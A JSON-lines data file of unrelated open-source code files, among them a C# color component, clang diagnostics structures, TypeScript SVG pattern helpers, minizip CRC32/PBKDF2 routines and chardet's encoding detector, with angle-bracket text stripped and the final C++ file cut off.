{"text": "\n\n \n \n"} {"text": "namespace ColorPicker.ColorModels.CMY\n{\n class Cyan : ColorComponent\n {\n public static CMYModel sModel = new CMYModel();\n public override int MinValue\n {\n get { return 0; }\n }\n\n public override int MaxValue\n {\n get { return 100; }\n }\n\n\n public override int Value(System.Windows.Media.Color color)\n {\n return (int)sModel.CComponent(color);\n }\n\n public override string Name\n {\n get {return \"CMY_Cyan\"; }\n }\n }\n}\n"} {"text": "var obj = { bar: async _ => 0, baz: async _ => 1 };\nexpect(JSON.stringify((await f(obj)))).toBe(`[0,1]`);\n"} {"text": "//===--- Diagnostic.h - Framework for clang diagnostics tools --*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// \\file\n// Structures supporting diagnostics and refactorings that span multiple\n// translation units. Indicate diagnostics reports and replacements\n// suggestions for the analyzed sources.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_CLANG_TOOLING_CORE_DIAGNOSTIC_H\n#define LLVM_CLANG_TOOLING_CORE_DIAGNOSTIC_H\n\n#include \"Replacement.h\"\n#include \"clang/Basic/Diagnostic.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/StringMap.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \n\nnamespace clang {\nnamespace tooling {\n\n/// Represents the diagnostic message with the error message associated\n/// and the information on the location of the problem.\nstruct DiagnosticMessage {\n DiagnosticMessage(llvm::StringRef Message = \"\");\n\n /// Constructs a diagnostic message with anoffset to the diagnostic\n /// within the file where the problem occurred.\n ///\n /// \\param Loc Should be a file location, it is not meaningful for a macro\n /// location.\n ///\n DiagnosticMessage(llvm::StringRef Message, const SourceManager &Sources,\n SourceLocation Loc);\n std::string Message;\n std::string FilePath;\n unsigned FileOffset;\n};\n\n/// Represents the diagnostic with the level of severity and possible\n/// fixes to be applied.\nstruct Diagnostic {\n enum Level {\n Warning = DiagnosticsEngine::Warning,\n Error = DiagnosticsEngine::Error\n };\n\n Diagnostic() = default;\n\n Diagnostic(llvm::StringRef DiagnosticName, Level DiagLevel,\n StringRef BuildDirectory);\n\n Diagnostic(llvm::StringRef DiagnosticName, const DiagnosticMessage &Message,\n const llvm::StringMap &Fix,\n const SmallVector &Notes, Level DiagLevel,\n llvm::StringRef BuildDirectory);\n\n /// Name identifying the Diagnostic.\n std::string DiagnosticName;\n\n /// Message associated to the diagnostic.\n DiagnosticMessage Message;\n\n /// Fixes to apply, grouped by file path.\n llvm::StringMap Fix;\n\n /// Potential notes about the diagnostic.\n SmallVector Notes;\n\n /// Diagnostic level. Can indicate either an error or a warning.\n Level DiagLevel;\n\n /// A build directory of the diagnostic source file.\n ///\n /// It's an absolute path which is `directory` field of the source file in\n /// compilation database. If users don't specify the compilation database\n /// directory, it is the current directory where clang-tidy runs.\n ///\n /// Note: it is empty in unittest.\n std::string BuildDirectory;\n};\n\n/// Collection of Diagnostics generated from a single translation unit.\nstruct TranslationUnitDiagnostics {\n /// Name of the main source for the translation unit.\n std::string MainSourceFile;\n std::vector Diagnostics;\n};\n\n} // end namespace tooling\n} // end namespace clang\n#endif // LLVM_CLANG_TOOLING_CORE_DIAGNOSTIC_H\n"} {"text": "export function paramCase(str: string) {\n return str.replace(/[A-Z]/g, $1 => `-${$1.toLowerCase()}`);\n}\n\nexport interface TagConfig {\n tag: string;\n attributes?: Object;\n children?: TagConfig[];\n}\n\nexport function createTagString(tagConfig: TagConfig) {\n const { tag, attributes, children } = tagConfig;\n const hadChild = Boolean(children);\n\n let elStr = `<${tag}${hadChild ? \">\" : \"\"}`;\n\n if (attributes) {\n elStr += getAttributesString(attributes);\n }\n\n if (hadChild) {\n for (const child of children) {\n elStr += createTagString(child);\n }\n elStr += ``;\n } else {\n elStr += \" />\";\n }\n\n return elStr;\n}\n\n// @link https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feDropShadow\nexport function createFeDropShadow(attributes?: React.SVGAttributes) {\n const elStr = createTagString({ tag: \"feDropShadow\", attributes });\n\n return elStr;\n}\n\nexport function getAttributesString(attribute: Object) {\n let attributesStr = \"\";\n if (!attribute) return attributesStr;\n\n for (let key in attribute) {\n const value = attribute[key];\n if (value !== void 0) {\n const paramCaseKey = paramCase(key);\n attributesStr += ` ${paramCaseKey}=\"${value}\"`;\n }\n }\n\n return attributesStr;\n}\n\nexport function getProtrudingSquares(config: { mainColor: string; shadowColor: string; opacity: number; }) {\n const dataImageType = `data:image/svg+xml;charset=utf-8,`;\n let svgText = `\n\n \n \n \n \n \n \n \n \n\n\n \n \n\n\n \n \n\n`;\n svgText = encodeURIComponent(svgText);\n const backgroundStyle = \" repeat\";\n\n return dataImageType + svgText + backgroundStyle;\n}\n\nexport interface StripedConfig {\n size?: number;\n primaryColor?: string;\n secondaryColor?: string;\n direction?: \"ltr\" | \"rtl\";\n}\n\nexport function getStriped(config?: StripedConfig) {\n let { size, primaryColor, secondaryColor, direction } = config || {} as StripedConfig;\n size = size || 4;\n primaryColor = primaryColor || \"#000\";\n secondaryColor = secondaryColor || \"transparent\";\n direction = direction || \"ltr\";\n const isLtr = direction === \"ltr\";\n\n return `linear-gradient(${isLtr ? 45 : 135}deg, ${primaryColor} 25%, ${secondaryColor} 0px, ${secondaryColor} 50%, ${primaryColor} 0px, ${primaryColor} 75%, ${secondaryColor} 0px) 0% 0% / ${size}px ${size}px ${primaryColor}`;\n}\n\nexport function getDot(color = \"#fff\") {\n const dataImageType = `data:image/svg+xml;charset=utf-8,`;\n let svgText = ``;\n svgText = encodeURIComponent(svgText);\n const backgroundStyle = \" repeat\";\n\n return dataImageType + svgText + backgroundStyle;\n}\n\n// console.log(createFeDropShadow({ dx: 22, dy: 22, floodColor: \"#fff\", floodOpacity: 3 }));\n"} {"text": "/******************************************************************************\n * Product: Adempiere ERP & CRM Smart Business Solution *\n * Copyright (C) 1999-2006 ComPiere, Inc. All Rights Reserved. *\n * This program is free software; you can redistribute it and/or modify it *\n * under the terms version 2 of the GNU General Public License as published *\n * by the Free Software Foundation. This program is distributed in the hope *\n * that it will be useful, but WITHOUT ANY WARRANTY; without even the implied *\n * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. *\n * See the GNU General Public License for more details. *\n * You should have received a copy of the GNU General Public License along *\n * with this program; if not, write to the Free Software Foundation, Inc., *\n * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. *\n * For the text or an alternative of this public license, you may reach us *\n * ComPiere, Inc., 2620 Augustine Dr. #245, Santa Clara, CA 95054, USA *\n * or via info@compiere.org or http://www.compiere.org/license.html *\n *****************************************************************************/\npackage org.compiere.model;\n\nimport java.sql.ResultSet;\nimport java.util.Properties;\n\n/**\n * Client Info Model\n *\n * @author Jorg Janke\n * @version $Id: MClientInfo.java,v 1.2 2006/07/30 00:58:37 jjanke Exp $\n */\npublic class MClientInfo extends X_AD_ClientInfo\n{\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 6580055415434125480L;\n\n\t/**************************************************************************\n\t *\tStandard Constructor\n\t *\t@param ctx context\n\t *\t@param ignored ignored\n\t *\t@param trxName transaction\n\t */\n\tpublic MClientInfo (Properties ctx, int ignored, String trxName)\n\t{\n\t\tsuper (ctx, ignored, trxName);\n\t\tif (ignored != 0)\n\t\t\tthrow new IllegalArgumentException(\"Multi-Key\");\n\t}\t//\tMClientInfo\n\t\n\t/**\n\t * \tLoad Constructor\n\t *\t@param ctx context\n\t *\t@param rs result set\n\t *\t@param trxName transaction\n\t */\n\tpublic MClientInfo (Properties ctx, ResultSet rs, String trxName)\n\t{\n\t\tsuper(ctx, rs, trxName);\n\t}\t//\tMClientInfo\n\n\t/**\n\t * \tParent Constructor\n\t *\t@param client client\n\t *\t@param AD_Tree_Org_ID org tree\n\t *\t@param AD_Tree_BPartner_ID bp tree\n\t *\t@param AD_Tree_Project_ID project tree\n\t *\t@param AD_Tree_SalesRegion_ID sr tree\n\t *\t@param AD_Tree_Product_ID product tree\n\t *\t@param AD_Tree_Campaign_ID campaign tree\n\t *\t@param AD_Tree_Activity_ID activity tree\n\t *\t@param trxName transaction\n\t */\n\tpublic MClientInfo (MClient client, int AD_Tree_Org_ID, int AD_Tree_BPartner_ID,\n\t\tint AD_Tree_Project_ID, int AD_Tree_SalesRegion_ID, int AD_Tree_Product_ID,\n\t\tint AD_Tree_Campaign_ID, int AD_Tree_Activity_ID, String trxName)\n\t{\n\t\tsuper (client.getCtx(), 0, trxName);\n\t\tsetAD_Client_ID(client.getAD_Client_ID());\t//\tto make sure\n\t\tsetAD_Org_ID(0);\n\t\tsetIsDiscountLineAmt (false);\n\t\t//\n\t\tsetAD_Tree_Menu_ID(10);\t\t//\tHARDCODED\n\t\t//\n\t\tsetAD_Tree_Org_ID(AD_Tree_Org_ID);\n\t\tsetAD_Tree_BPartner_ID(AD_Tree_BPartner_ID); \n\t\tsetAD_Tree_Project_ID(AD_Tree_Project_ID);\t\t\n\t\tsetAD_Tree_SalesRegion_ID(AD_Tree_SalesRegion_ID); \n\t\tsetAD_Tree_Product_ID(AD_Tree_Product_ID);\n\t\tsetAD_Tree_Campaign_ID(AD_Tree_Campaign_ID);\n\t\tsetAD_Tree_Activity_ID(AD_Tree_Activity_ID);\n\t}\t//\tMClientInfo\n\n\t@Override\n\tprotected boolean beforeSave(final boolean newRecord)\n\t{\n\t\tif (getAD_Org_ID() != 0)\n\t\t{\n\t\t\tsetAD_Org_ID(0);\n\t\t}\n\t\t\n\t\treturn true;\n\t}\n\t\n}\t//\tMClientInfo\n"} {"text": "/* mz_crypt.c -- Crypto/hash functions\n part of the MiniZip project\n\n Copyright (C) 2010-2020 Nathan Moinvaziri\n https://github.com/nmoinvaz/minizip\n\n This program is distributed under the terms of the same license as zlib.\n See the accompanying LICENSE file for the full text of the license.\n*/\n\n\n#include \"mz.h\"\n#include \"mz_crypt.h\"\n\n#if defined(HAVE_ZLIB)\n# include \"zlib.h\"\n# if defined(ZLIBNG_VERNUM) && !defined(ZLIB_COMPAT)\n# include \"zlib-ng.h\"\n# endif\n#elif defined(HAVE_LZMA)\n# include \"lzma.h\"\n#endif\n\n/***************************************************************************/\n/* Define z_crc_t in zlib 1.2.5 and less or if using zlib-ng */\n\n#if defined(HAVE_ZLIB) && defined(ZLIBNG_VERNUM)\n# if defined(ZLIB_COMPAT)\n# define ZLIB_PREFIX(x) x\n# else\n# define ZLIB_PREFIX(x) zng_ ## x\n# endif\n typedef uint32_t z_crc_t;\n#elif defined(HAVE_ZLIB)\n# define ZLIB_PREFIX(x) x\n# if (ZLIB_VERNUM < 0x1270)\n typedef unsigned long z_crc_t;\n# endif\n#endif\n\n/***************************************************************************/\n\nuint32_t mz_crypt_crc32_update(uint32_t value, const uint8_t *buf, int32_t size) {\n#if defined(HAVE_ZLIB)\n return (uint32_t)ZLIB_PREFIX(crc32)((z_crc_t)value, buf, (uInt)size);\n#elif defined(HAVE_LZMA)\n return (uint32_t)lzma_crc32(buf, (size_t)size, (uint32_t)value);\n#else\n static uint32_t crc32_table[256] = {\n 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,\n 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,\n 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,\n 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,\n 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,\n 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,\n 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,\n 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,\n 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,\n 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,\n 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,\n 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,\n 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,\n 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,\n 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,\n 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,\n 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,\n 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,\n 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,\n 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,\n 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,\n 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,\n 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,\n 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,\n 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,\n 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,\n 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,\n 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,\n 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,\n 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,\n 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,\n 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,\n 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,\n 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,\n 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,\n 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,\n 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,\n 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,\n 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,\n 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,\n 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,\n 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,\n 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d\n };\n value = ~value;\n\n while (size > 0) {\n value = (value >> 8) ^ crc32_table[(value ^ *buf) & 0xFF];\n\n buf += 1;\n size -= 1;\n }\n\n return ~value;\n#endif\n}\n\n#ifndef MZ_ZIP_NO_ENCRYPTION\nint32_t mz_crypt_pbkdf2(uint8_t *password, int32_t password_length, uint8_t *salt,\n int32_t salt_length, int32_t iteration_count, uint8_t *key, int32_t key_length) {\n void *hmac1 = NULL;\n void *hmac2 = NULL;\n void *hmac3 = NULL;\n int32_t err = MZ_OK;\n uint16_t i = 0;\n uint16_t j = 0;\n uint16_t k = 0;\n uint16_t block_count = 0;\n uint8_t uu[MZ_HASH_SHA1_SIZE];\n uint8_t ux[MZ_HASH_SHA1_SIZE];\n\n if (password == NULL || salt == NULL || key == NULL)\n return MZ_PARAM_ERROR;\n\n memset(key, 0, key_length);\n\n mz_crypt_hmac_create(&hmac1);\n mz_crypt_hmac_create(&hmac2);\n mz_crypt_hmac_create(&hmac3);\n\n mz_crypt_hmac_set_algorithm(hmac1, MZ_HASH_SHA1);\n mz_crypt_hmac_set_algorithm(hmac2, MZ_HASH_SHA1);\n mz_crypt_hmac_set_algorithm(hmac3, MZ_HASH_SHA1);\n\n err = mz_crypt_hmac_init(hmac1, password, password_length);\n if (err == MZ_OK)\n err = mz_crypt_hmac_init(hmac2, password, password_length);\n if (err == MZ_OK)\n err = mz_crypt_hmac_update(hmac2, salt, salt_length);\n\n block_count = 1 + ((uint16_t)key_length - 1) / MZ_HASH_SHA1_SIZE;\n\n for (i = 0; (err == MZ_OK) && (i < block_count); i += 1) {\n memset(ux, 0, sizeof(ux));\n\n err = mz_crypt_hmac_copy(hmac2, hmac3);\n if (err != MZ_OK)\n break;\n\n uu[0] = (uint8_t)((i + 1) >> 24);\n uu[1] = (uint8_t)((i + 1) >> 16);\n uu[2] = (uint8_t)((i + 1) >> 8);\n uu[3] = (uint8_t)(i + 1);\n\n for (j = 0, k = 4; j < iteration_count; j += 1) {\n err = mz_crypt_hmac_update(hmac3, uu, k);\n if (err == MZ_OK)\n err = mz_crypt_hmac_end(hmac3, uu, sizeof(uu));\n if (err != MZ_OK)\n break;\n\n for(k = 0; k < MZ_HASH_SHA1_SIZE; k += 1)\n ux[k] ^= uu[k];\n\n err = mz_crypt_hmac_copy(hmac1, hmac3);\n if (err != MZ_OK)\n break;\n }\n\n if (err != MZ_OK)\n break;\n\n j = 0;\n k = i * MZ_HASH_SHA1_SIZE;\n\n while (j < MZ_HASH_SHA1_SIZE && k < key_length)\n key[k++] = ux[j++];\n }\n\n /* hmac3 uses the same provider as hmac2, so it must be deleted\n before the context is destroyed. */\n mz_crypt_hmac_delete(&hmac3);\n mz_crypt_hmac_delete(&hmac1);\n mz_crypt_hmac_delete(&hmac2);\n\n return err;\n}\n#endif\n\n/***************************************************************************/\n"} {"text": "######################## BEGIN LICENSE BLOCK ########################\n# The Original Code is Mozilla Universal charset detector code.\n#\n# The Initial Developer of the Original Code is\n# Netscape Communications Corporation.\n# Portions created by the Initial Developer are Copyright (C) 2001\n# the Initial Developer. All Rights Reserved.\n#\n# Contributor(s):\n# Mark Pilgrim - port to Python\n# Shy Shalom - original C code\n#\n# This library is free software; you can redistribute it and/or\n# modify it under the terms of the GNU Lesser General Public\n# License as published by the Free Software Foundation; either\n# version 2.1 of the License, or (at your option) any later version.\n#\n# This library is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this library; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n# 02110-1301 USA\n######################### END LICENSE BLOCK #########################\n\nfrom . import constants\nimport sys\nimport codecs\nfrom .latin1prober import Latin1Prober # windows-1252\nfrom .mbcsgroupprober import MBCSGroupProber # multi-byte character sets\nfrom .sbcsgroupprober import SBCSGroupProber # single-byte character sets\nfrom .escprober import EscCharSetProber # ISO-2122, etc.\nimport re\n\nMINIMUM_THRESHOLD = 0.20\nePureAscii = 0\neEscAscii = 1\neHighbyte = 2\n\n\nclass UniversalDetector:\n def __init__(self):\n self._highBitDetector = re.compile(b'[\\x80-\\xFF]')\n self._escDetector = re.compile(b'(\\033|~{)')\n self._mEscCharSetProber = None\n self._mCharSetProbers = []\n self.reset()\n\n def reset(self):\n self.result = {'encoding': None, 'confidence': 0.0}\n self.done = False\n self._mStart = True\n self._mGotData = False\n self._mInputState = ePureAscii\n self._mLastChar = b''\n if self._mEscCharSetProber:\n self._mEscCharSetProber.reset()\n for prober in self._mCharSetProbers:\n prober.reset()\n\n def feed(self, aBuf):\n if self.done:\n return\n\n aLen = len(aBuf)\n if not aLen:\n return\n\n if not self._mGotData:\n # If the data starts with BOM, we know it is UTF\n if aBuf[:3] == codecs.BOM_UTF8:\n # EF BB BF UTF-8 with BOM\n self.result = {'encoding': \"UTF-8-SIG\", 'confidence': 1.0}\n elif aBuf[:4] == codecs.BOM_UTF32_LE:\n # FF FE 00 00 UTF-32, little-endian BOM\n self.result = {'encoding': \"UTF-32LE\", 'confidence': 1.0}\n elif aBuf[:4] == codecs.BOM_UTF32_BE:\n # 00 00 FE FF UTF-32, big-endian BOM\n self.result = {'encoding': \"UTF-32BE\", 'confidence': 1.0}\n elif aBuf[:4] == b'\\xFE\\xFF\\x00\\x00':\n # FE FF 00 00 UCS-4, unusual octet order BOM (3412)\n self.result = {\n 'encoding': \"X-ISO-10646-UCS-4-3412\",\n 'confidence': 1.0\n }\n elif aBuf[:4] == b'\\x00\\x00\\xFF\\xFE':\n # 00 00 FF FE UCS-4, unusual octet order BOM (2143)\n self.result = {\n 'encoding': \"X-ISO-10646-UCS-4-2143\",\n 'confidence': 1.0\n }\n elif aBuf[:2] == codecs.BOM_LE:\n # FF FE UTF-16, little endian BOM\n self.result = {'encoding': \"UTF-16LE\", 'confidence': 1.0}\n elif aBuf[:2] == codecs.BOM_BE:\n # FE FF UTF-16, big endian BOM\n self.result = {'encoding': \"UTF-16BE\", 'confidence': 1.0}\n\n self._mGotData = True\n if self.result['encoding'] and (self.result['confidence'] > 0.0):\n self.done = True\n return\n\n if self._mInputState == ePureAscii:\n if self._highBitDetector.search(aBuf):\n self._mInputState = eHighbyte\n elif ((self._mInputState == ePureAscii) and\n self._escDetector.search(self._mLastChar + aBuf)):\n self._mInputState = eEscAscii\n\n self._mLastChar = aBuf[-1:]\n\n if self._mInputState == eEscAscii:\n if not self._mEscCharSetProber:\n self._mEscCharSetProber = EscCharSetProber()\n if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt:\n self.result = {'encoding': self._mEscCharSetProber.get_charset_name(),\n 'confidence': self._mEscCharSetProber.get_confidence()}\n self.done = True\n elif self._mInputState == eHighbyte:\n if not self._mCharSetProbers:\n self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(),\n Latin1Prober()]\n for prober in self._mCharSetProbers:\n if prober.feed(aBuf) == constants.eFoundIt:\n self.result = {'encoding': prober.get_charset_name(),\n 'confidence': prober.get_confidence()}\n self.done = True\n break\n\n def close(self):\n if self.done:\n return\n if not self._mGotData:\n if constants._debug:\n sys.stderr.write('no data received!\\n')\n return\n self.done = True\n\n if self._mInputState == ePureAscii:\n self.result = {'encoding': 'ascii', 'confidence': 1.0}\n return self.result\n\n if self._mInputState == eHighbyte:\n proberConfidence = None\n maxProberConfidence = 0.0\n maxProber = None\n for prober in self._mCharSetProbers:\n if not prober:\n continue\n proberConfidence = prober.get_confidence()\n if proberConfidence > maxProberConfidence:\n maxProberConfidence = proberConfidence\n maxProber = prober\n if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD):\n self.result = {'encoding': maxProber.get_charset_name(),\n 'confidence': maxProber.get_confidence()}\n return self.result\n\n if constants._debug:\n sys.stderr.write('no probers hit minimum threshhold\\n')\n for prober in self._mCharSetProbers[0].mProbers:\n if not prober:\n continue\n sys.stderr.write('%s confidence = %s\\n' %\n (prober.get_charset_name(),\n prober.get_confidence()))\n"} {"text": "// Copyright(C) 1999-2017, 2020 National Technology & Engineering Solutions\n// of Sandia, LLC (NTESS). Under the terms of Contract DE-NA0003525 with\n// NTESS, the U.S. Government retains certain rights in this software.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n//\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following\n// disclaimer in the documentation and/or other materials provided\n// with the distribution.\n//\n// * Neither the name of NTESS nor the names of its\n// contributors may be used to endorse or promote products derived\n// from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#if defined SEACAS_HAVE_DATAWARP\nextern \"C\" {\n#include \n}\n#endif\n\nnamespace {\n auto initial_time = std::chrono::high_resolution_clock::now();\n\n void log_time(std::chrono::time_point &start,\n std::chrono::time_point &finish,\n int current_state, double state_time, bool is_input, bool single_proc_only,\n const Ioss::ParallelUtils &util);\n\n void log_field(const char *symbol, const Ioss::GroupingEntity *entity, const Ioss::Field &field,\n bool single_proc_only, const Ioss::ParallelUtils &util);\n\n#ifndef NDEBUG\n bool internal_parallel_consistent(bool single_proc_only, const Ioss::GroupingEntity *ge,\n const Ioss::Field &field, int in_out,\n const Ioss::ParallelUtils &util)\n {\n if (single_proc_only) {\n return true;\n }\n\n const std::string &field_name = field.get_name();\n unsigned int hash_code = ge->hash() + Ioss::Utils::hash(field_name);\n unsigned int max_hash = util.global_minmax(hash_code, Ioss::ParallelUtils::DO_MAX);\n unsigned int min_hash = util.global_minmax(hash_code, Ioss::ParallelUtils::DO_MIN);\n if (max_hash != min_hash) {\n const std::string &ge_name = ge->name();\n fmt::print(Ioss::WARNING(),\n \"Parallel inconsistency detected for {} field '{}' on entity '{}'\\n\",\n in_out == 0 ? \"writing\" : \"reading\", field_name, ge_name);\n return false;\n }\n return true;\n }\n#endif\n double my_min(double x1, double x2) { return x1 < x2 ? x1 : x2; }\n\n double my_max(double x1, double x2) { return x1 > x2 ? x1 : x2; }\n\n template \n void calc_bounding_box(size_t ndim, size_t node_count, std::vector &coordinates,\n std::vector &connectivity, double &xmin, double &ymin, double &zmin,\n double &xmax, double &ymax, double &zmax)\n {\n std::vector elem_block_nodes(node_count);\n for (auto &node : connectivity) {\n elem_block_nodes[node - 1] = 1;\n }\n\n xmin = DBL_MAX;\n ymin = DBL_MAX;\n zmin = DBL_MAX;\n\n xmax = -DBL_MAX;\n ymax = -DBL_MAX;\n zmax = -DBL_MAX;\n\n for (size_t i = 0; i < node_count; i++) {\n if (elem_block_nodes[i] == 1) {\n xmin = my_min(xmin, coordinates[ndim * i + 0]);\n xmax = my_max(xmax, coordinates[ndim * i + 0]);\n\n if (ndim > 1) {\n ymin = my_min(ymin, coordinates[ndim * i + 1]);\n ymax = my_max(ymax, coordinates[ndim * i + 1]);\n }\n\n if (ndim > 2) {\n zmin = my_min(zmin, coordinates[ndim * i + 2]);\n zmax = my_max(zmax, coordinates[ndim * i + 2]);\n }\n }\n }\n if (ndim < 3) {\n zmin = zmax = 0.0;\n }\n if (ndim < 2) {\n ymin = ymax = 0.0;\n }\n }\n} // namespace\n\nnamespace Ioss {\n DatabaseIO::DatabaseIO(Region *region, std::string filename, DatabaseUsage db_usage,\n MPI_Comm communicator, const PropertyManager &props)\n : properties(props), DBFilename(std::move(filename)), dbUsage(db_usage), util_(communicator),\n region_(region), isInput(is_input_event(db_usage)),\n singleProcOnly(db_usage == WRITE_HISTORY || db_usage == WRITE_HEARTBEAT ||\n SerializeIO::isEnabled())\n {\n isParallel = util_.parallel_size() > 1;\n myProcessor = util_.parallel_rank();\n\n // Some operations modify DBFilename and there is a need to get\n // back to the original filename...\n originalDBFilename = DBFilename;\n\n // Check environment variable IOSS_PROPERTIES. If it exists, parse\n // the contents and add to the 'properties' map.\n util_.add_environment_properties(properties);\n\n Utils::check_set_bool_property(properties, \"ENABLE_FIELD_RECOGNITION\", enableFieldRecognition);\n\n if 